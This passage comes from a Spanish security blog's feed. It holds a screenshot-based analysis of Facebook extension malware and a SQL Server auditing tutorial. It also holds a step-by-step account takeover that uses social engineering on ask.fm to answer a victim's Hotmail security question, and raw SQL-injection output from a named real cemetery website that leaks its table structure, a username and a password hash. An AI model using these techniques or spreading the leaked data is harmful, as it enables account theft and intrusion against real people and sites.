src=&quot;http://3.bp.blogspot.com/-Fe1MtKXRcus/TvAYMi3o4-I/AAAAAAAAAPw/YtjkhyJYRIM/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Ahora el perfil apunta a &lt;a href=&quot;http://www.blogger.com/profile/08956306515188510108&quot; target=&quot;_blank&quot;&gt;profile/08956306515188510108&lt;/a&gt;, tiene el mismo iframe, pero esta vez a, &lt;br /&gt;&lt;img src=&quot;http://3.bp.blogspot.com/-rZ1Yy_esXIE/UOuKdAKym2I/AAAAAAAAASs/W_WpjGn-dHM/s1600/malware+1.png&quot; /&gt; Al parecer cambiaron de código por otro wiiii, en el nuevo dominio, tenemos la siguiente función, que es la principal, donde se instala el complemento, llamada instalar(), &lt;i&gt;-que tan obvio-&lt;/i&gt;... &lt;br /&gt;&lt;img src=&quot;http://1.bp.blogspot.com/-0L83H6NU_RY/UOuKdL7V94I/AAAAAAAAASw/mDc4flbVX3Y/s1600/malware+2.png&quot; /&gt; También existe una función donde carga una imagen, igual que la que encontró mi amigo @alguien, &lt;i&gt;-tendré que esperarlo a ver si me ayuda con una duda que tengo-&lt;/i&gt;, &lt;br /&gt;&lt;img src=&quot;http://3.bp.blogspot.com/-Rub3ThmQtYM/UOuKdLrH0LI/AAAAAAAAAS0/m7Bzxs9Yre0/s1600/malware+3.png&quot; /&gt; Todavía queda por analizar unas cuantas cosas, pero esperaré un momento, recordemos como eliminarlo. &lt;br /&gt;Para &lt;a href=&quot;http://support.google.com/chrome/bin/answer.py?hl=es&amp;amp;answer=113907&quot; target=&quot;_blank&quot;&gt;Google Chrome&lt;/a&gt; Para &lt;a href=&quot;http://support.mozilla.com/es/kb/Desinstalar%20los%20complementos#w_deshabilitar-extensiones-0-personassf-y-plugins&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt; &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/la-nueva-variante-del-malware-de_7453.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-lIO8khMonWc/T6NYeA88i7I/AAAAAAAAARA/Fp4HjvvHcpA/s72-c/facebook.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-8271876363598572275</guid><pubDate>Mon, 12 Dec 2011 06:11:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.728-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Facebook</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>MALWARE DE NUEVO EN FACEBOOK</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img height=&quot;150&quot; src=&quot;http://www.geekets.com/wp-content/uploads/2011/06/Malware-en-Facebook.jpg&quot; width=&quot;200&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;El día de hoy &lt;b&gt;Lunes 12 de Diciembre de 2011&lt;/b&gt;, a las &lt;b&gt;12:15 A.M&lt;/b&gt;, inicia el mini análisis del malware que ronda por &lt;a href=&quot;http://www.facebook.com/&quot; target=&quot;_blank&quot;&gt;Facebook&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Como primer movimiento tenemos la pagina &lt;a href=&quot;http://tuqam5.blogspot.com/&quot; target=&quot;_blank&quot;&gt;tuqam5.blogspot.com&lt;/a&gt;, que por ahora será la principal del sitio del malware. &lt;br /&gt;&lt;br /&gt;Cuando ingresamos a la URL, nos aparece la siguiente pantalla, pidiéndonos descargar un supuesto plug-in de &lt;a href=&quot;http://www.youtube.com/&quot; target=&quot;_blank&quot;&gt;Youtube&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-SGgxdnAvdbA/TuWPLOfMD8I/AAAAAAAAAOY/6tnL6G-kHmg/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;195&quot; src=&quot;http://1.bp.blogspot.com/-SGgxdnAvdbA/TuWPLOfMD8I/AAAAAAAAAOY/6tnL6G-kHmg/s320/1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 1:&lt;/b&gt; Descarga de plug-in.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ahora nos pide que lo instalemos, &lt;i&gt;(Hasta sale el logo de &lt;a href=&quot;http://www.youtube.com/&quot; target=&quot;_blank&quot;&gt;Youtube&lt;/a&gt; jajajaja)&lt;/i&gt;,&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-_zMofCrBcrs/TuWQIfNg2LI/AAAAAAAAAOg/3_YsMRSZ5m8/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-_zMofCrBcrs/TuWQIfNg2LI/AAAAAAAAAOg/3_YsMRSZ5m8/s1600/2.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 2:&lt;/b&gt; Instalación plug-in.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ahora no se que más sigue, no lo instalaré para auto infectarme. Miro el código fuente del blogger y me encuentro el siguiente enlace a otro website, ahora la pagina principal del malware es &lt;a href=&quot;http://vevideo.com.es/&quot; target=&quot;_blank&quot;&gt;vevideo.com.es&lt;/a&gt;,&lt;br /&gt; &lt;img src=&#39;http://3.bp.blogspot.com/-qmZ7_i7Hdbw/UOuNE1Z9FDI/AAAAAAAAATM/2vFs5EqN9HQ/s1600/malware+1.png&#39; /&gt; Descargo el supuesto plug-in y miro su código fuente, esto es lo que realmente nos interesa. Me encuentro con la siguiente función, supongo que será la que se cargará, además tiene la misma dirección anterior.&lt;br /&gt; &lt;img src=&#39;http://3.bp.blogspot.com/-MIO1_PbRnU4/UOuNFJn3wVI/AAAAAAAAATY/HtoE3HrVU60/s1600/malware+2.png&#39; /&gt; Analizando encuentro una lista de blogs, supongo que serán del autor del malware, de no ser así, porque estaría allí?, &lt;i&gt;(te detecte querido malwariento ajjajaja)&lt;/i&gt;.&lt;br /&gt; &lt;img src=&#39;http://2.bp.blogspot.com/-bfTF2iDCKGY/UOuNFA6VlsI/AAAAAAAAATQ/XTmK_AVFtNA/s1600/malware+3.png&#39; /&gt; Verifico el &lt;a href=&quot;http://www.blogger.com/profile/09019206255159716186&quot;&gt;perfil&lt;/a&gt; y no dice gran cosa, pero me llamo la atención que la localidad donde se encuentra el supuestro creado del malware es &lt;a href=&quot;http://www.blogger.com/profile-find.g?t=l&amp;amp;loc0=CO&amp;amp;loc1=Nari%C3%B1o&amp;amp;loc2=Pasto&quot;&gt;Pasto&lt;/a&gt; : &lt;a href=&quot;http://www.blogger.com/profile-find.g?t=l&amp;amp;loc0=CO&amp;amp;loc1=Nari%C3%B1o&quot;&gt;Nariño&lt;/a&gt; : &lt;a href=&quot;http://www.blogger.com/profile-find.g?t=l&amp;amp;loc0=CO&quot;&gt;Colombia&lt;/a&gt;, &lt;i&gt;(a pesar de todo los pastusos no son tan tontos como dicen que son)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Este es el &lt;a href=&quot;http://vevideo.com.es/plugin/extra.js&quot;&gt;script&lt;/a&gt; que se encarga de realizar el malware, como siempre esta ofuscado, vamos a nuestra querida website &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;jsbeautifier.org&lt;/a&gt; y lo desofuscamos.&lt;br /&gt;&lt;br /&gt;... y seguimos con otro listado de blogs, algunos de ellos ya deshabilitados, pero todos con el mismo contenido.&lt;br /&gt; &lt;img src=&#39;http://3.bp.blogspot.com/-d4cIsn2qz6I/UOuNFvrU4mI/AAAAAAAAATU/o1yVdpc4-w8/s1600/malware+4.png&#39; /&gt; Encuentro la función que es usada para repartir el malware en Facebook y no me gusto, se nota instantaneamente que fue codeado por un n00b. Ya no diré más, dejaré hasta acá, no perderé más mi tiempo, pensé que era más avanzado.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;ELIMINAR MALWARE!&lt;/h1&gt;Al ver el código tan básico se me olvidaba decir como eliminarlo, es una extensión &lt;i&gt;( &lt;b&gt;*.crx&lt;/b&gt; | &lt;b&gt;*.xpi&lt;/b&gt; )&lt;/i&gt; así que mirad lo siguiente,&lt;br /&gt;&lt;br /&gt;Para &lt;a href=&quot;http://support.google.com/chrome/bin/answer.py?hl=es&amp;amp;answer=113907&quot; target=&quot;_blank&quot;&gt;Google Chrome&lt;/a&gt;&lt;br /&gt;Para &lt;a href=&quot;http://support.mozilla.com/es/kb/Desinstalar%20los%20complementos#w_deshabilitar-extensiones-0-personassf-y-plugins&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/malware-de-nuevo-en-facebook_9795.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-SGgxdnAvdbA/TuWPLOfMD8I/AAAAAAAAAOY/6tnL6G-kHmg/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-430568206012397647</guid><pubDate>Tue, 06 Dec 2011 05:32:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.742-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ask.fm</category><title>EL PELIGRO DE USAR [ask.fm]</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img height=&quot;150&quot; src=&quot;http://alessandrooliviero.com.ar/wp-content/uploads/2012/04/ask_fm-logo-200x200.png&quot; width=&quot;200&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;Desde hace algunos días veo que varios contactos de mi &lt;a href=&quot;http://www.facebook.com/&quot; target=&quot;_blank&quot;&gt;facebook&lt;/a&gt;, responden preguntas mediante el mecanismo llamado &lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;ask.fm&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;¿CÓMO FUNCIONA ESTO?&lt;/h3&gt;Simple, es una pagina donde los usuarios ingresan y crean una cuenta, y personas conocidas o anónimas pueden ingresar y realizarte cualquier pregunta, mientras tú la respondes. &lt;i&gt;(Se supone que debe de ser sincera la respuesta, pero hay personas que preguntan hasta: &lt;b&gt;¿Cuantas veces vas al baño?&lt;/b&gt; y algunos llegan al extremo de preguntar: &lt;b&gt;¿A que vas al baño?&lt;/b&gt; ajjajaja)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;¿CÓMO PUEDE LLEGAR A SER ESTO PELIGROSO?&lt;/h3&gt;Tambien es simple, hay personas que no les importa contestar sinceramente las preguntas, &lt;i&gt;-así deberían de ser todos, pues este es el fin de la pagina, o sino para que lo creaste?-&lt;/i&gt;, el caso es qué al contestar la pregunta estas dando casi un 90% de acierto para que puedan robarte tu cuenta de correo, o ya no te acuerdas que &lt;a href=&quot;https://account.live.com/password/reset&quot; target=&quot;_blank&quot;&gt;hotmail&lt;/a&gt; ofrece la oportunidad de devolver la cuenta de correo mediante una pregunta que previamente cuando creaste tu cuenta debiste de responder?&lt;br /&gt;&lt;br /&gt;No se para que mie#&quot;! la gente crea una cuenta en &lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;ask.fm&lt;/a&gt;, no se que le ven de interesante estar respondiendo preguntas que a los otros ni les interesa, sólo preguntan para mostrarse al mundo, que EXISTEN.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;NO ME CREEN? MIREN UN EJEMPLO.&lt;/h3&gt;Seleccionamos nuestra victima en &lt;a href=&quot;http://www.facebook.com/&quot; target=&quot;_blank&quot;&gt;facebook&lt;/a&gt;, en la información buscamos la cuenta de correo que usa para conectarse en esta red social.&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-k2CdqDHGkRc/Tt2fPk1CUUI/AAAAAAAAANc/8nFTIhBjaew/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-k2CdqDHGkRc/Tt2fPk1CUUI/AAAAAAAAANc/8nFTIhBjaew/s1600/1.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 1:&lt;/b&gt; Correo electronico del perfil de la victima.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ahora, vamos a &lt;a href=&quot;https://account.live.com/password/reset&quot; target=&quot;_blank&quot;&gt;Cuenta ► Restablecer la contraseña&lt;/a&gt;&amp;nbsp;y seleccionamos la opción de &lt;b&gt;He olvidado mi contraseña&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-9L6pnrTu3nk/Tt2gASdnRvI/AAAAAAAAANk/EQ-R0fbVSGI/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;87&quot; src=&quot;http://2.bp.blogspot.com/-9L6pnrTu3nk/Tt2gASdnRvI/AAAAAAAAANk/EQ-R0fbVSGI/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 2:&lt;/b&gt; Seleccionando opción para averiguar pregunta secreta de la cuenta.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ahora nos muestra una caja de texto para ingresar la cuenta de correo del perfil victima y la captcha de seguridad,&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-Xb5KAkKDM_w/Tt2h1vZ5FGI/AAAAAAAAANs/ne3RNzq2lWA/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;156&quot; src=&quot;http://3.bp.blogspot.com/-Xb5KAkKDM_w/Tt2h1vZ5FGI/AAAAAAAAANs/ne3RNzq2lWA/s320/3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 3:&lt;/b&gt; Cuenta de correo y captcha.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Los ingresamos y nos mostrará la siguiente información, &lt;i&gt;(puede variar ya que algunas personas seleccionan la opción de sólo restablecer la cuenta de correo sólo al correo alternativo, mmm eso me hace acordar de algo &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2010/12/el-bug-del-correo-alternativo-hotmail.html&quot; target=&quot;_blank&quot;&gt;EL BUG DEL CORREO ALTERNATIVO [HOTMAIL]&lt;/a&gt;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-jLZKL2SmCe8/Tt2iqPDWnuI/AAAAAAAAAN0/Vts2W-taUq8/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;237&quot; src=&quot;http://4.bp.blogspot.com/-jLZKL2SmCe8/Tt2iqPDWnuI/AAAAAAAAAN0/Vts2W-taUq8/s320/5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 4:&lt;/b&gt; Respuesta a la pregunta de seguridad.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Aquí es donde debemos de usar nuestra ingeniería social, para realizar la pregunta en la cuenta de la victima en &lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;ask.fm&lt;/a&gt;, miremos:&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-uYH823G4unk/Tt2nRkO5emI/AAAAAAAAAN8/HpzZfZkJR2Q/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;54&quot; src=&quot;http://1.bp.blogspot.com/-uYH823G4unk/Tt2nRkO5emI/AAAAAAAAAN8/HpzZfZkJR2Q/s320/7.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 5:&lt;/b&gt; Pregunta y respuesta en &lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;ask.fm&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;NOTA:&lt;/b&gt; Que se note la pregunta tan directa que realice, me dio tan duro pensarla ajajajajajjaa&lt;/blockquote&gt;&lt;br /&gt;Ahora volvemos a &lt;a href=&quot;https://account.live.com/password/reset&quot; target=&quot;_blank&quot;&gt;hotmail&lt;/a&gt;, ingresamos la respuesta que nos dieron y VOALA!&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/--EBYME9BC0k/Tt2oj0HhDiI/AAAAAAAAAOE/eyMBlsp5M94/s1600/8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;159&quot; src=&quot;http://3.bp.blogspot.com/--EBYME9BC0k/Tt2oj0HhDiI/AAAAAAAAAOE/eyMBlsp5M94/s320/8.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 6:&lt;/b&gt; Pantalla para cambiar la contraseña.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Así que antes de responder, recuerda cual es tu pregunta de seguridad en todas las cuentas de correo que tengas enlazadas a tu perfil en &lt;a href=&quot;http://www.facebook.com/&quot; target=&quot;_blank&quot;&gt;facebook&lt;/a&gt;.&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/el-peligro-de-usar-askfm_538.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-k2CdqDHGkRc/Tt2fPk1CUUI/AAAAAAAAANc/8nFTIhBjaew/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-8096725819867398059</guid><pubDate>Fri, 02 Dec 2011 07:22:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.767-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iSQL</category><title>NI LOS MUERTOS SE SALVAN</title><description>&lt;center&gt;&lt;img height=&quot;200&quot; src=&quot;http://www.jardinesdepaz.com.co/imagenes/bannerLOGO.jpg&quot; width=&quot;400&quot; /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&#39;brush:sql&#39;&gt;#&lt;br /&gt;# BASE DE DATOS&lt;br /&gt;CURRENT DB: wwwjardines&lt;br /&gt;&lt;br /&gt;#TABLAS&lt;br /&gt;COUNT(table_name) OF information_schema.tables WHERE table_schema=0x7777776A617264696E6573 IS 32 TABLES FOUND:&lt;br /&gt;[+] Aspirante&lt;br /&gt;[+] Banner&lt;br /&gt;[+] CategoriaInstalacion&lt;br /&gt;[+] CategoriaProducto&lt;br /&gt;[+] Ciudad&lt;br /&gt;[+] ConsultaExepaz&lt;br /&gt;[+] ConsultaMemorial&lt;br /&gt;[+] Convenio&lt;br /&gt;[+] Departamento&lt;br /&gt;[+] DocumentoNoticia&lt;br /&gt;[+] FormularioContacto&lt;br /&gt;[+] FormularioProducto&lt;br /&gt;[+] GaleriaInstalacion&lt;br /&gt;[+] GaleriaNoticia&lt;br /&gt;[+] GaleriaProducto&lt;br /&gt;[+] Instalacion&lt;br /&gt;[+] Log&lt;br /&gt;[+] MapaLote&lt;br /&gt;[+] Noticia&lt;br /&gt;[+] NoticiaModulo&lt;br /&gt;[+] Obituario&lt;br /&gt;[+] Pais&lt;br /&gt;[+] Parametros&lt;br /&gt;[+] Perfil&lt;br /&gt;[+] PlanExepaz&lt;br /&gt;[+] Producto&lt;br /&gt;[+] Registro&lt;br /&gt;[+] Sesion&lt;br /&gt;[+] Sesion_Cliente&lt;br /&gt;[+] TipoContacto&lt;br /&gt;[+] Usuario&lt;br /&gt;[+] VideoNoticia&lt;br /&gt;&lt;br /&gt;#COLUMNAS&lt;br /&gt;COUNT(column_name) OF information_schema.columns WHERE table_schema=0x7777776A617264696E6573 AND table_name=0x5573756172696F IS 17 COLUMNS FOUND:&lt;br /&gt;[+] IDUsuario&lt;br /&gt;[+] IDPais&lt;br /&gt;[+] IDDepartamento&lt;br /&gt;[+] IDCiudad&lt;br /&gt;[+] IDPerfil&lt;br /&gt;[+] Nombre&lt;br /&gt;[+] Telefono&lt;br /&gt;[+] User&lt;br /&gt;[+] Password&lt;br /&gt;[+] EmaiL&lt;br /&gt;[+] Autorizado&lt;br /&gt;[+] Nivel&lt;br /&gt;[+] Lenguaje&lt;br /&gt;[+] FechaTrCr&lt;br /&gt;[+] UsuarioTrCr&lt;br /&gt;[+] UsuarioTrEd&lt;br /&gt;[+] FechaTrEd&lt;br /&gt;&lt;br /&gt;#REGISTROS&lt;br /&gt;COUNT(*) OF wwwjardines.Usuario IS 1&lt;br /&gt;Data Found: Password=1d2440cb12e1ce5a&lt;br /&gt;Data Found: User=soluciones&lt;br /&gt;#&lt;/pre&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/ni-los-muertos-se-salvan_2870.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-5742091596840647542</guid><pubDate>Thu, 01 Dec 2011 19:38:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.792-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Auditorías de Seguridad</category><category domain="http://www.blogger.com/atom/ns#">MSSQL</category><title>AUDITORÍA DE SEGURIDAD EN SQL SERVER 2008</title><description>&lt;div style=&quot;font-family: Georgia, &#39;Times New Roman&#39;, serif; text-align: justify;&quot;&gt;La primera pregunta que nos surge es: ¿Porque auditamos?&lt;br /&gt;&lt;br /&gt;Revisando la literatura de auditoría de seguridad, los autores coinciden en que el tener políticas de seguridad es un factor crítico para mantener los datos seguros. La auditoría también nos ayuda a identificar lo que accedió un intruso en el evento de que un ataque sea exitoso.&lt;br /&gt;&lt;br /&gt;En SQL 2005 el enfoque estaba orientado a asegurarse de que el usuario no tuviera privilegio mayores a los que necesitaba y que los cambios fueran realizados por el personal autorizado. La herramienta que se promovía para auditar los cambios a la base de datos era el SQL Profiler ya que podía auditar cambios al esquema, operaciones de insertar, actualizar o eliminar registros; y eventos relacionados con cambios de permisos o la creación de nuevos Logins.&lt;br /&gt;&lt;br /&gt;Una de las mejoras que trajo SQL Server 2008 Enterprise es un incremento en la capacidad de auditoría a través del uso del SQL Server Audit. A través de esta funcionalidad se puede rastrear y registrar de forma automática los eventos que ocurren a nivel del servidor o a nivel de la base de datos. Esto es posible a través del uso del objeto Audit. Veamos entonces como crear una auditoría, como crear y habilitar una especificación de auditoría a nivel de Servidor o a nivel de base de datos y como visualizar los registros de auditoría.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;CREAR UNA AUDITORÍA&lt;/h1&gt;Un objeto de auditoría es una colección de una o más acciones individuales o un grupo de acciones que podrán ser rastreadas. Por ejemplo, se puede configurar un objeto de auditoría para identificar todos los logins fallidos. Los eventos se escriben en la localización que se especifique. Se pueden almacenar en un archivo, la bitácora de eventos de aplicaciones o la bitácora de eventos de seguridad.&lt;br /&gt;&lt;br /&gt;El objeto de auditoría se puede crear a través del Management Studio (SSMS) o utilizando T-SQL. Desde SSMS se debe presionar el botón de la derecha del mouse sobre la opción New Audit localizada en la carpeta de auditoría bajo el árbol de Seguridad, como se muestra a continuación:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/cfs-filesystemfile.ashx/__key/communityserver-components-imagefileviewer/communityserver-blogs-components-weblogfiles-00-00-00-89-31/0827.Fig1.png_2D00_550x0.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;301&quot; src=&quot;http://blogs.technet.com/cfs-filesystemfile.ashx/__key/communityserver-components-imagefileviewer/communityserver-blogs-components-weblogfiles-00-00-00-89-31/0827.Fig1.png_2D00_550x0.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;En la pantalla Create Audit se debe ingresar el nombre del objeto de auditoría, y se debe especificar el destino. Si se indica que el destino será un archivo, hay que especificar la ruta donde será almacenado. Finalmente se debe presionar el botón OK para crear el objeto de auditoría.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/8255.Fig2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;280&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/8255.Fig2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Para propósitos de este ejemplo cree un segundo objeto de auditoría e ingrese el nombre &lt;b&gt;&quot;AuditarConsultasTablaEmpleado&quot;&lt;/b&gt;. Seleccione como destino un archivo e indique la ruta donde desee almacenarlo. 